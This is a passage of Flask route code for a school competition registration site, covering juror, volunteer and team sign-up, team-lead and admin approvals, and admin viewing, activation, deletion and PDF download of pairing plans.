two_day_timeslots=two_day_timeslots)\n\n\n@main_blueprint.route('/be_juror_as_tl', methods=['GET', 'POST'])\n@login_required # Limits access to authenticated users\ndef be_juror_as_tl():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n db_created_by_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = JoinTeamForm(request.form) # change to BeJurorForm later\n\n # Process valid POST\n if request.method == 'POST':\n selected_schools = request.form.getlist(\"school\")\n teleconferencing = request.form.get(\"teleconferencing\")\n juror_experience = request.form.get(\"juror_experience\")\n selected_times = request.form.getlist(\"timeslot\")\n tl_school_id = int(request.form.get('tl_school_id'))\n tslot1 = \"No\"\n tslot2 = \"No\"\n tslot3 = \"No\"\n tslot4 = \"No\"\n for timeslot in selected_times:\n if timeslot == \"1\":\n tslot1 = \"Yes\"\n elif timeslot == \"2\":\n tslot2 = \"Yes\"\n elif timeslot == \"3\":\n tslot3 = \"Yes\"\n elif timeslot == \"4\":\n tslot4 = \"Yes\"\n if selected_schools is None or len(selected_schools) < 1:\n selected_schools = [tl_school_id]\n else:\n if tl_school_id in selected_schools:\n pass\n else:\n selected_schools.append(tl_school_id)\n add_event_juror_as_tl(event_id, current_user.id, db_created_by_id, \"Juror\", 1, selected_schools, teleconferencing, tslot1, tslot2, tslot3, tslot4, 1, tl_school_id, juror_experience, app_db_web_location)\n\n # Redirect to home page\n flash_msg = \"Your request is under review, please sign to check after two days.\"\n flash(flash_msg, 'success')\n\n return redirect(url_for('main.member_page'))\n else:\n tl_school_id = int(request.args.get('school'))\n school_list = get_schools_for_ppant(event_id, app_db_web_location)\n\n # Process GET or invalid POST\n return render_template('main/be_juror_as_tl.html', form=form, current_school_list=school_list, tl_school_id=tl_school_id)\n\n\n@main_blueprint.route('/be_volunteer', methods=['GET', 'POST'])\n@login_required # Limits access to authenticated users\ndef be_volunteer():\n #prepare parameter\n event_id = current_app.config['CURRENT_EVENT']\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n # Initialize form\n form = JoinTeamForm(request.form) # change to BeJurorForm later\n if request.method == 'POST':\n selected_schools = request.form.getlist('school')\n selected_times = request.form.getlist(\"timeslot\")\n tslot1 = \"No\"\n tslot2 = \"No\"\n tslot3 = \"No\"\n tslot4 = \"No\"\n for timeslot in selected_times:\n if timeslot == \"1\":\n tslot1 = \"Yes\"\n elif timeslot == \"2\":\n tslot2 = \"Yes\"\n elif timeslot == \"3\":\n tslot3 = \"Yes\"\n elif timeslot == \"4\":\n tslot4 = \"Yes\"\n\n if selected_schools is None or len(selected_schools)<1:\n add_event_participant(event_id, current_user.id, current_user.id, 'Volunteer', 0, 'Not Applicable', tslot1, tslot2, tslot3, tslot4, app_db_web_location, None)\n else:\n add_event_participant_with_coi(event_id, current_user.id, current_user.id, 'Volunteer', 1, selected_schools,'-----', tslot1, tslot2, tslot3, tslot4, app_db_web_location, None)\n flash_msg = \"Your request is approved.\"\n flash(flash_msg, 'success')\n return redirect(url_for('main.member_page'))\n else:\n #call function\n two_day_timeslots = get_2days_timeslots()\n school_list = get_schools_for_ppant(event_id, app_db_web_location)\n return render_template('main/be_volunteer.html', form = form, school_list = school_list,\n two_day_timeslots=two_day_timeslots)\n\n\n# join a team as student\n@main_blueprint.route('/join_team', methods=['GET', 'POST'])\n@login_required # Limits access to authenticated users\ndef join_team():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n db_created_by_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = JoinTeamForm(request.form)\n\n # Process valid POST\n if request.method == 'POST' and form.validate():\n team_id = request.form['team_id']\n if int(team_id) > 0:\n add_team_member(team_id, db_created_by_id, app_db_web_location)\n else:\n # something is wrong\n pass\n\n # Redirect to home page\n flash_msg = \"Your request is under review by your team lead, please sign to check after two days.\"\n flash(flash_msg, 'success')\n return redirect(url_for('main.member_page'))\n else:\n school_list = get_schools_has_event_team(event_id, app_db_web_location)\n\n form.team_school_id.choices = school_list\n\n # get current year's teams\n current_teams_options = get_current_teams_options(event_id, app_db_web_location)\n # get the teams that current user has already joined (even though that could be rejected)\n myteams_table_joined = search_teams_joinedbyme(event_id, current_user.id, app_db_web_location)[0]\n # add all the team id into a list\n myteams_table_joined_ids = []\n for item in myteams_table_joined:\n myteams_table_joined_ids.append(item[7])\n\n # removed the teams tht I have already joined from the option list\n #print(myteams_table_joined_ids)\n current_teams_table = []\n for school in current_teams_options:\n school_team_options = []\n for team in school[2]:\n #print(team, team[2] in myteams_table_joined_ids)\n if not (team[2] in myteams_table_joined_ids):\n school_team_options.append(team)\n if school_team_options is not None and len(school_team_options) > 0:\n current_teams_table.append([school[0], school[1], school_team_options])\n \"\"\" \n current_teams_table = zip([x[0] for x in current_teams_options], \\\n [x[1] for x in current_teams_options], \\\n [x[2] for x in current_teams_options])\n \"\"\"\n # Process GET or invalid POST\n return render_template('main/join_team.html', form=form, current_team_options=current_teams_table, current_school_list=school_list)\n\n\n# approve team member by team lead\n@main_blueprint.route('/team_member_approval')\n@login_required # Limits access to authenticated users\ndef team_member_approval():\n event_id = current_app.config['CURRENT_EVENT']\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n db_user_id = current_user.id\n\n member_approval_type = request.args.get('type')\n team_lead_id_str = request.args.get('lead_id')\n member_name = request.args.get('member_name')\n member_id = request.args.get('member_id')\n is_captain = request.args.get('captain')\n\n if team_lead_id_str is None or len(team_lead_id_str) < 1:\n flash_msg = \"No team lead selected, please double check your data.\"\n flash(flash_msg, 'error')\n else:\n team_lead_id = int(team_lead_id_str)\n if team_lead_id != current_user.id:\n flash_msg = \"Invalid access, please double check your data.\"\n flash(flash_msg, 'error')\n else:\n if member_approval_type.lower() == \"approve\":\n # approve a team member\n update_a_team_member_status(member_id, \"Approved\", is_captain, db_user_id, app_db_web_location)\n flash_msg = \"Team member #\" + str(member_id) + \"-\" + member_name + \" has been approved.\"\n flash(flash_msg, 'success')\n elif member_approval_type.lower() == \"reject\":\n # reject a team member\n # force is_captain == 0\n is_captain = 0\n update_a_team_member_status(member_id, \"Rejected\", is_captain, db_user_id, app_db_web_location)\n flash_msg = \"Team member #\" + str(member_id) + \"-\" + member_name + \" has been rejected.\"\n flash(flash_msg, 'success')\n else:\n flash_msg = \"No record updated, please double check your data.\"\n flash(flash_msg, 'error')\n\n return redirect(url_for('main.member_page'))\n\n\n# Member updates availability and coi\n@main_blueprint.route('/update_ppant', methods=['GET', 'POST'])\n@login_required # Limits access to authenticated users\ndef update_ppant():\n event_id = current_app.config['CURRENT_EVENT']\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n db_user_id = current_user.id\n\n # Initialize form\n form = PpantForm(request.form)\n role_type = request.args.get('type')\n ppant_id_str = request.args.get('ppant_id')\n\n # Process valid POST\n if request.method == 'POST' and form.validate():\n ppant_id = int(form.ppant_id.data)\n last_coi_count = int(form.last_coi_count.data)\n selected_schools = request.form.getlist(\"school\")\n teleconferencing = request.form.get(\"teleconferencing\")\n selected_times = request.form.getlist(\"timeslot\")\n tl_school_id = int(request.form.get('tl_school_id'))\n tslot1 = \"No\"\n tslot2 = \"No\"\n tslot3 = \"No\"\n tslot4 = \"No\"\n juror_experience = request.form.get(\"juror_experience\")\n for timeslot in selected_times:\n if timeslot == \"1\":\n tslot1 = \"Yes\"\n elif timeslot == \"2\":\n tslot2 = \"Yes\"\n elif timeslot == \"3\":\n tslot3 = \"Yes\"\n elif timeslot == \"4\":\n tslot4 = \"Yes\"\n if tl_school_id > 0:\n if selected_schools is None or len(selected_schools) < 1:\n selected_schools = [tl_school_id]\n else:\n if tl_school_id in selected_schools:\n pass\n else:\n selected_schools.append(tl_school_id)\n update_event_participant(event_id, ppant_id, teleconferencing, tslot1, tslot2, tslot3, tslot4, selected_schools, last_coi_count, db_user_id, juror_experience, app_db_web_location)\n flash_msg = \"Updated successfully. (Participant #\" + str(ppant_id) + \")\"\n flash(flash_msg, 'success')\n else:\n if ppant_id_str is None or len(ppant_id_str) < 1:\n flash_msg = \"No participant selected, please double check your data.\"\n flash(flash_msg, 'error')\n else:\n ppant_id = int(ppant_id_str)\n tl_school_id = int(request.args.get('tl_school_id'))\n # get participant info\n myparticipation_list = get_event_ppant_n_mycois(event_id, current_user.id, ppant_id, app_db_web_location)\n myparticipation_count = len(myparticipation_list)\n my_coi = None\n if myparticipation_list is not None:\n for item in myparticipation_list:\n #SCHOOL_ID, SCHOOL_NAME, PROVINCE, CITY, SCHOOL_ADDRESS, ZIP_CODE\n form.role_type.data = item[0]\n form.ppant_id.data = item[9]\n form.time_slot1.data = item[5]\n form.time_slot2.data = item[6]\n form.time_slot3.data = item[7]\n form.time_slot4.data = item[8]\n form.teleconferencing.data = item[4]\n form.juror_experience.data = item[11]\n # form.is_chair.data = item[12]\n my_coi = item[3]\n form.last_coi_count.data = len(my_coi)\n break\n school_list = get_schools_for_ppant(event_id, app_db_web_location)\n my_coi_ids = []\n for coi_school in my_coi:\n my_coi_ids.append(coi_school[1])\n\n two_day_timeslots = get_2days_timeslots()\n return render_template('main/update_ppant.html', form=form, current_school_list=school_list,\n my_coi_ids=my_coi_ids, tl_school_id=tl_school_id, two_day_timeslots=two_day_timeslots)\n else:\n flash_msg = \"No record updated, please double check your data.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.member_page'))\n\n\n# The Admin page is accessible to users with the 'admin' role\n@main_blueprint.route('/admin')\n@roles_required('admin') # Limits access to users with the 'admin' role\ndef admin_page():\n event_id = current_app.config['CURRENT_EVENT']\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n # prepare team number summary by status\n team_counts = count_team_group_by_status(event_id, app_db_web_location)\n team_counts_total = team_counts[0]\n team_count_data = [0,0,0]\n if team_counts_total > 0:\n team_count_data = [count_by_status(team_counts[1], \"Approved\"),\n count_by_status(team_counts[1], \"Requested\"),\n count_by_status(team_counts[1], \"Rejected\")]\n\n # prepare team member number summary by status\n team_member_counts = count_team_member_group_by_status(event_id, app_db_web_location)\n team_member_counts_total = team_member_counts[0]\n team_member_count_data = [0,0,0]\n if team_member_counts_total > 0:\n team_member_count_data = [count_by_status(team_member_counts[1], \"Approved\"),\n count_by_status(team_member_counts[1], \"Requested\"),\n count_by_status(team_member_counts[1], \"Rejected\")]\n\n # prepare juror number summary by status\n juror_counts = count_juror_group_by_status(event_id, app_db_web_location)\n juror_counts_total = juror_counts[0]\n juror_count_data = [0,0,0]\n if juror_counts_total > 0:\n juror_count_data = [count_by_status(juror_counts[1], \"Approved\"),\n count_by_status(juror_counts[1], \"Requested\"),\n count_by_status(juror_counts[1], \"Rejected\")]\n\n # prepare volunteer number summary by status\n volunteer_counts = count_volunteer_group_by_status(event_id, app_db_web_location)\n volunteer_counts_total = volunteer_counts[0]\n volunteer_count_data = [0,0,0]\n if volunteer_counts_total > 0:\n volunteer_count_data = [count_by_status(volunteer_counts[1], \"Approved\"),\n count_by_status(volunteer_counts[1], \"Requested\"),\n count_by_status(volunteer_counts[1], \"Rejected\")]\n\n return render_template('main/admin_page.html', team_count_data = team_count_data, team_count_total=team_counts_total,\n team_member_count_data = team_member_count_data, team_member_count_total=team_member_counts_total,\n juror_count_data = juror_count_data, juror_count_total=juror_counts_total,\n volunteer_count_data = volunteer_count_data, volunteer_count_total=volunteer_counts_total)\n\n\n# The Admin - view registration of team, student, juror and volunteer page is accessible to users with the 'admin' role\n@main_blueprint.route('/admin_view_regist')\n@roles_required('admin') # Limits access to users with the 'admin' role\ndef admin_view_regist():\n event_id = current_app.config['CURRENT_EVENT']\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n sm_active_pan_list = search_event_plan(event_id, \"Active\", 1, app_db_web_location)\n sm_plan_sub_status = 0\n sm_plan_id = 0\n for plan in sm_active_pan_list:\n sm_plan_id = plan[1]\n sm_plan_sub_status = plan[4] # 1-released 2-published\n break\n\n # Initialize form\n form = ApproveRegistForm(request.form)\n regist_type = request.args.get('type')\n regist_lable = request.args.get('label')\n\n if regist_type is None or len(regist_type) < 1:\n return redirect(url_for('main.admin_page'))\n else:\n if regist_type.lower() == 'team':\n team_list = []\n if regist_lable is None or len(regist_lable) < 1:\n team_list = get_event_teams_n_members_all(event_id, None, app_db_web_location)\n regist_lable = \"in the system\"\n else:\n team_list = get_event_teams_n_members_all(event_id, regist_lable, app_db_web_location)\n\n teams_count = len(team_list)\n\n return render_template('main/admin_view_team.html', team_list = team_list, teams_count = teams_count,\n team_status = regist_lable, sm_plan_sub_status=sm_plan_sub_status)\n elif regist_type.lower() == 'student':\n if regist_lable is None or len(regist_lable) < 1:\n student_list = search_team_members_all(event_id, None, app_db_web_location)\n regist_lable = \"in the system\"\n else:\n student_list = search_team_members_all(event_id, regist_lable, app_db_web_location)\n\n students_count = len(student_list)\n student_list_table = zip([x[0] for x in student_list], \\\n [x[1] for x in student_list], \\\n [x[2] for x in student_list], \\\n [x[3] for x in student_list], \\\n [x[4] for x in student_list], \\\n [x[5] for x in student_list], \\\n [x[6] for x in student_list], \\\n [x[7] for x in student_list], \\\n [x[8] for x in student_list], \\\n [x[9] for x in student_list], \\\n [x[10] for x in student_list], \\\n [x[11] for x in student_list], \\\n [x[12] for x in student_list], \\\n [x[13] for x in student_list], \\\n [x[14] for x in student_list], \\\n [x[15] for x in student_list], \\\n [x[16] for x in student_list], \\\n [x[17] for x in student_list], \\\n [x[18] for x in student_list], \\\n [x[19] for x in student_list], \\\n [x[20] for x in student_list], \\\n [x[21] for x in student_list], \\\n [x[22] for x in student_list], \\\n [x[23] for x in student_list], \\\n [x[24] for x in student_list])\n\n return render_template('main/admin_view_student.html', student_list=student_list_table, students_count=students_count,\n student_status=regist_lable)\n elif regist_type.lower() == 'juror':\n if regist_lable is None or len(regist_lable) < 1:\n juror_list = get_event_ppant_n_cois_by_roletype(event_id, None, \"Juror\", app_db_web_location)\n regist_lable = \"in the system\"\n else:\n juror_list = get_event_ppant_n_cois_by_roletype(event_id, regist_lable, \"Juror\", app_db_web_location)\n jurors_count = len(juror_list)\n return render_template('main/admin_view_juror.html', juror_list=juror_list, jurors_count=jurors_count,\n juror_status=regist_lable, sm_plan_sub_status=sm_plan_sub_status)\n elif regist_type.lower() == 'volunteer':\n if regist_lable is None or len(regist_lable) < 1:\n #call function\n volunteer_list = get_event_ppant_n_cois_by_roletype(event_id, None, 'Volunteer', app_db_web_location)\n regist_lable = 'In the System'\n else:\n #call function\n volunteer_list = get_event_ppant_n_cois_by_roletype(event_id, regist_lable, 'Volunteer', app_db_web_location)\n volunteer_count = len(volunteer_list)\n return render_template('main/admin_view_volunteer.html', volunteer_list = volunteer_list, volunteer_status = regist_lable, volunteer_count = volunteer_count)\n else:\n return render_template('main/public_page.html')\n\n\n# The Admin - team approval page is accessible to users with the 'admin' role\n@main_blueprint.route('/admin_team_approval')\n@roles_required('admin') # Limits access to users with the 'admin' role\ndef admin_team_approval():\n event_id = current_app.config['CURRENT_EVENT']\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n db_user_id = current_user.id\n\n team_approval_type = request.args.get('type')\n team_id_str = request.args.get('team_id')\n team_name = request.args.get('team_name')\n\n if team_id_str is None or len(team_id_str) < 1:\n flash_msg = \"No team selected, please double check your data.\"\n flash(flash_msg, 'error')\n else:\n team_id = int(team_id_str)\n if team_approval_type.lower() == \"approve\":\n # approve a team\n update_a_team_status(event_id, team_id, \"Approved\", db_user_id, app_db_web_location)\n flash_msg = \"Team #\" + str(team_id) + \"-\" + team_name + \" has been approved.\"\n flash(flash_msg, 'success')\n elif team_approval_type.lower() == \"reject\":\n # approve a team\n update_a_team_status(event_id, team_id, \"Rejected\", db_user_id, app_db_web_location)\n flash_msg = \"Team #\" + str(team_id) + \"-\" + team_name + \" has been rejected.\"\n flash(flash_msg, 'error')\n else:\n flash_msg = \"No record updated, please double check your data.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_page'))\n\n\n# The Admin - team approval page is accessible to users with the 'admin' role\n@main_blueprint.route('/admin_review_school', methods=['GET', 'POST'])\n@roles_required('admin') # Limits access to users with the 'admin' role\ndef admin_review_school():\n event_id = current_app.config['CURRENT_EVENT']\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n db_user_id = current_user.id\n\n # Initialize form\n form = SchoolForm(request.form)\n review_type = request.args.get('type')\n school_id_str = request.args.get('school_id')\n\n # Process valid POST\n if request.method == 'POST' and form.validate():\n school_id = int(form.school_id.data)\n school_name = form.school_name.data\n update_a_school_by_id(school_id, school_name, form.address.data, form.city.data, form.province.data,\n form.country.data, form.postal_code.data, form.school_status.data, db_user_id,\n app_db_web_location)\n flash_msg = \"School #\" + str(school_id) + \"-\" + school_name + \" has been reviewed and status is: \" + form.school_status.data\n flash(flash_msg, 'success')\n else:\n if school_id_str is None or len(school_id_str) < 1:\n flash_msg = \"No school selected, please double check your data.\"\n flash(flash_msg, 'error')\n else:\n school_id = int(school_id_str)\n if review_type.lower() == \"review\":\n # review a team\n school_result = search_schools_by_id(school_id, app_db_web_location)\n if school_result is not None:\n for item in school_result:\n #SCHOOL_ID, SCHOOL_NAME, PROVINCE, CITY, SCHOOL_ADDRESS, ZIP_CODE\n form.school_id.data = item[0]\n form.school_name.data = item[1]\n form.province.data = item[2]\n form.city.data = item[3]\n form.address.data = item[4]\n form.postal_code.data = item[5]\n form.country.data = item[6]\n form.school_status.data = item[7]\n break\n return render_template('main/admin_review_school.html', form=form)\n else:\n flash_msg = \"No record updated, please double check your data.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_page'))\n\n\n# The Admin - juror approval page is accessible to users with the 'admin' role\n@main_blueprint.route('/admin_juror_approval')\n@roles_required('admin') # Limits access to users with the 'admin' role\ndef admin_juror_approval():\n event_id = current_app.config['CURRENT_EVENT']\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n db_user_id = current_user.id\n\n juror_approval_type = request.args.get('type')\n juror_id_str = request.args.get('juror_id')\n juror_name = request.args.get('juror_name')\n\n if juror_id_str is None or len(juror_id_str) < 1:\n flash_msg = \"No juror selected, please double check your data.\"\n flash(flash_msg, 'error')\n else:\n juror_id = int(juror_id_str)\n if juror_approval_type.lower() == \"approve\":\n # approve a juror\n update_a_ppant_status(event_id, juror_id, \"Approved\", db_user_id, app_db_web_location)\n flash_msg = \"Juror #\" + str(juror_id) + \"-\" + juror_name + \" has been approved.\"\n flash(flash_msg, 'success')\n elif juror_approval_type.lower() == \"reject\":\n # reject a juror\n update_a_ppant_status(event_id, juror_id, \"Rejected\", db_user_id, app_db_web_location)\n flash_msg = \"Juror #\" + str(juror_id) + \"-\" + juror_name + \" has been rejected.\"\n flash(flash_msg, 'error')\n elif juror_approval_type.lower() == \"assign_chair\":\n # assign juror as chair\n set_juror_chair(event_id, juror_id, \"Yes\", db_user_id, app_db_web_location)\n flash_msg = \"Juror #\" + str(juror_id) + \"-\" + juror_name + \" has been assigned as Chair.\"\n flash(flash_msg, 'success')\n elif juror_approval_type.lower() == \"not_assign_chair\":\n # assign juror back to normal\n set_juror_chair(event_id, juror_id, \"No\", db_user_id, app_db_web_location)\n flash_msg = \"Juror #\" + str(juror_id) + \"-\" + juror_name + \" has been re-assigned as normal juror, NOT chair.\"\n flash(flash_msg, 'success')\n else:\n flash_msg = \"No record updated, please double check your data.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_page'))\n\n\n# The Admin - volunteer approval page is accessible to users with the 'admin' role\n@main_blueprint.route('/admin_volunteer_approval')\n@roles_required('admin') # Limits access to users with the 'admin' role\ndef admin_volunteer_approval():\n event_id = current_app.config['CURRENT_EVENT']\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n db_user_id = current_user.id\n\n volunteer_approval_type = request.args.get('type')\n volunteer_id_str = request.args.get('volunteer_id')\n volunteer_name = request.args.get('volunteer_name')\n\n if volunteer_id_str is None or len(volunteer_id_str) < 1:\n flash_msg = \"No volunteer selected, please double check your data.\"\n flash(flash_msg, 'error')\n else:\n volunteer_id = int(volunteer_id_str)\n if volunteer_approval_type.lower() == \"approve\":\n # approve a team\n update_a_ppant_status(event_id, volunteer_id, \"Approved\", db_user_id, app_db_web_location)\n flash_msg = \"volunteer #\" + str(volunteer_id) + \"-\" + volunteer_name + \" has been approved.\"\n flash(flash_msg, 'success')\n elif volunteer_approval_type.lower() == \"reject\":\n # approve a team\n update_a_ppant_status(event_id, volunteer_id, \"Rejected\", db_user_id, app_db_web_location)\n flash_msg = \"Volunteer #\" + str(volunteer_id) + \"-\" + volunteer_name + \" has been rejected.\"\n flash(flash_msg, 'error')\n else:\n flash_msg = \"No record updated, please double check your data.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_page'))\n\n\n@main_blueprint.route('/admin_plan_view', methods=['GET', 'POST'])\n@roles_required('super') # Limits access to users with 'super' role\ndef admin_plan_view():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n plan_id = request.args.get('plan_id')\n plan_status = request.args.get('plan_status')\n plan_sub_status = int(request.args.get('plan_sub_status'))\n activable = int(request.args.get('activable'))\n # Initialize form\n form = EventPlanForm(request.form)\n\n if request.method == 'POST':\n deactivate = request.form.get(\"deactivate\")\n release = request.form.get(\"release\")\n if deactivate == \"Deactivate\":\n # De-Activate Plan (change status to proposed)\n update_plan_status(plan_id, \"Proposed\", current_user.id, app_db_web_location)\n flash_msg = \"Proposed plan has been deactivated.\"\n elif release == \"Release\":\n # Release Plan (change sub status to Released), plan is forzen, no more change allowed\n # get all volunteers\n release_sm_plan(plan_id, 1, current_user.id, app_db_web_location)\n flash_msg = \"Proposed plan has been released.\"\n else:\n update_plan_status(plan_id, \"Active\", current_user.id, app_db_web_location)\n flash_msg = \"Proposed plan has been activated successfully. Participants can't be updated anymore.\"\n flash(flash_msg, 'success')\n return redirect(url_for('main.admin_mgmt'))\n else:\n # get mteam for the selected plan_id\n mteam_list = search_mteam_by_code(plan_id, app_db_web_location)\n # get mroom for the selected plan_id\n mroom_list = search_mroom(plan_id, app_db_web_location)\n # get mjuror for the selected plan_id for juror chairs\n mjuror_list = get_mjuror_by_room(plan_id, \"Base\", app_db_web_location)\n # get moved juror for the selected plan_id\n moved_juror_list = get_mpair_jurors_by_round_room(plan_id, \"Moved\", app_db_web_location)\n # get mvolunteer for the selected plan_id\n mvolunteer_list = get_mvolunteer_by_room(plan_id, \"Base\", app_db_web_location)\n # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_mjurors = get_mjurors(plan_id, app_db_web_location)\n # (mroom_code, mroom_label, room_volunteers)\n master_room_mvolunteers = get_mvolunteers(plan_id, app_db_web_location)\n # get mpair team\n mpair_team_list = get_mpair_team_by_round_team(plan_id, app_db_web_location)\n # get round, room and pair from MPAIR table\n mpair_list = get_mpair_by_round_room(plan_id, app_db_web_location)\n mround_list = []\n for round in mpair_list:\n tmp_pair_list = []\n for room in mroom_list:\n # find pair at current round and current room\n found_pair_at_round_room = False\n for pair in round[1]:\n if pair[0] == room[1]:\n tmp_pair_list.append(pair)\n found_pair_at_round_room = True\n break\n if not found_pair_at_round_room:\n tmp_pair_list.append(None)\n tmp_tuple3 = (round[0], tmp_pair_list)\n mround_list.append(tmp_tuple3)\n\n return render_template('main/admin_plan_view.html', form=form, plan_status=plan_status, plan_id=plan_id, mround_list=mround_list,\n mroom_list=mroom_list, mjuror_list=mjuror_list, mteam_list=mteam_list, mpair_team_list=mpair_team_list,\n activable=activable, master_room_mvolunteers=master_room_mvolunteers, moved_juror_list=moved_juror_list,\n plan_sub_status=plan_sub_status, master_mjurors=master_mjurors)\n\n\n@main_blueprint.route('/admin_plan_download', methods=['GET', 'POST'])\n@roles_required('admin', 'super') # Limits access to users with the 'admin' role and 'super' role\ndef admin_plan_download():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n plan_id = request.args.get('plan_id')\n plan_status = request.args.get('plan_status')\n # Initialize form\n form = EventPlanForm(request.form)\n\n # get mteam for the selected plan_id\n mteam_list = search_mteam_by_code(plan_id, app_db_web_location)\n # get mroom for the selected plan_id\n mroom_list = search_mroom(plan_id, app_db_web_location)\n # get mjuror for the selected plan_id for juror chairs\n mjuror_list = get_mjuror_by_room(plan_id, \"Base\", app_db_web_location)\n # get moved juror for the selected plan_id\n moved_juror_list = get_mpair_jurors_by_round_room(plan_id, \"Moved\", app_db_web_location)\n # get mvolunteer for the selected plan_id\n mvolunteer_list = get_mvolunteer_by_room(plan_id, \"Base\", app_db_web_location)\n # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_mjurors = get_mjurors(plan_id, app_db_web_location)\n # (mroom_code, mroom_label, room_volunteers)\n master_room_mvolunteers = get_mvolunteers(plan_id, app_db_web_location)\n # get mpair team\n mpair_team_list = get_mpair_team_by_round_team(plan_id, app_db_web_location)\n # get round, room and pair from MPAIR table\n mpair_list = get_mpair_by_round_room(plan_id, app_db_web_location)\n mround_list = []\n for round in mpair_list:\n tmp_pair_list = []\n for room in mroom_list:\n # find pair at current round and current room\n found_pair_at_round_room = False\n for pair in round[1]:\n if pair[0] == room[1]:\n tmp_pair_list.append(pair)\n found_pair_at_round_room = True\n break\n if not found_pair_at_round_room:\n tmp_pair_list.append(None)\n tmp_tuple3 = (round[0], tmp_pair_list)\n mround_list.append(tmp_tuple3)\n\n response_html_string= render_template('main/admin_plan_view_pdf.html', form=form, plan_status=plan_status, plan_id=plan_id,\n mround_list=mround_list, mroom_list=mroom_list, mjuror_list=mjuror_list, mteam_list=mteam_list,\n mpair_team_list=mpair_team_list, master_mjurors=master_mjurors,\n master_room_mvolunteers=master_room_mvolunteers, moved_juror_list=moved_juror_list)\n pdf_filename = plan_status + \"_Plan_\" + str(plan_id)\n return render_pdf(HTML(string=response_html_string), download_filename=pdf_filename, automatic_download=False)\n\n\n# delete event plan for either SM or FM\n@main_blueprint.route('/admin_plan_delete')\n@roles_required('admin', 'super') # Limits access to users with the 'admin' role and 'super' role\ndef admin_plan_delete():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n plan_id = request.args.get('plan_id')\n plan_status = request.args.get('plan_status')\n if plan_status == 'Proposed':\n # delete the selected plan and the related six \"M\" tables\n admin_delete_plan(event_id, plan_id, plan_status, app_db_web_location)\n flash_msg = plan_status + \"Plan # \" + str(plan_id) + \"has been deleted!\"\n flash(flash_msg, 'success')\n return redirect(url_for('main.admin_mgmt'))\n else:\n flash_msg = plan_status + \"Plan # \" + str(plan_id) + \"can NOT be deleted!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n\n\n@main_blueprint.route('/admin_save_proposal', methods=['GET', 'POST'])\n@roles_required('admin', 'super') # Limits access to users with the 'admin' role and 'super' role\ndef admin_save_proposal():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n\n round_room_team_plan = session['round_room_team_plan']\n juror_plan = session['juror_plan']\n volunteer_plan = session['volunteer_plan']\n moved_jurors_plan = session['moved_jurors_plan']\n db_save_proposal(event_id, round_room_team_plan, juror_plan, volunteer_plan, moved_jurors_plan, current_user.id, app_db_web_location)\n session.pop('round_room_team_plan')\n session.pop('juror_plan')\n session.pop('volunteer_plan')\n session.pop('moved_jurors_plan')\n flash_msg = \"Proposed plan has been saved successfully.\"\n flash(flash_msg, 'success')\n return redirect(url_for('main.admin_mgmt'))\n\n\n@main_blueprint.route('/admin_mgmt', methods=['GET', 'POST'])\n@roles_required('admin', 'super') # Limits access to users with the 'admin' role and 'super' role\ndef admin_mgmt():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n db_created_by_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventPlanForm(request.form)\n\n # get plan from database\n plan_status = \"Active\"\n active_sm_plan_list = search_event_plan(event_id, plan_status, 1, app_db_web_location)\n active_fm_plan_list = search_event_plan(event_id, plan_status, 2, app_db_web_location)\n if active_sm_plan_list is not None and len(active_sm_plan_list) > 0:\n # plan has already been activated, no changes to the plan are allowed\n pass\n else:\n # plan has not been finalized, can view, re-plan or manual change the plan\n plan_status = \"Proposed\"\n\n plan_list = search_event_plan(event_id, None, 0, app_db_web_location)\n\n return render_template('main/admin_mgmt.html', plan_list=plan_list, plan_count=len(plan_list), active_sm_plan_count=len(active_sm_plan_list),\n active_fm_plan_count=len(active_fm_plan_list), plan_status=plan_status)\n\n\n@main_blueprint.route('/admin_planning', methods=['GET', 'POST'])\n@roles_required('admin', 'super') # Limits access to users with the 'admin' role and 'super' role\ndef admin_planning():\n # Retrieve database settings from app.config\n global team_plan\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n db_created_by_id = current_user.id\n event_id = 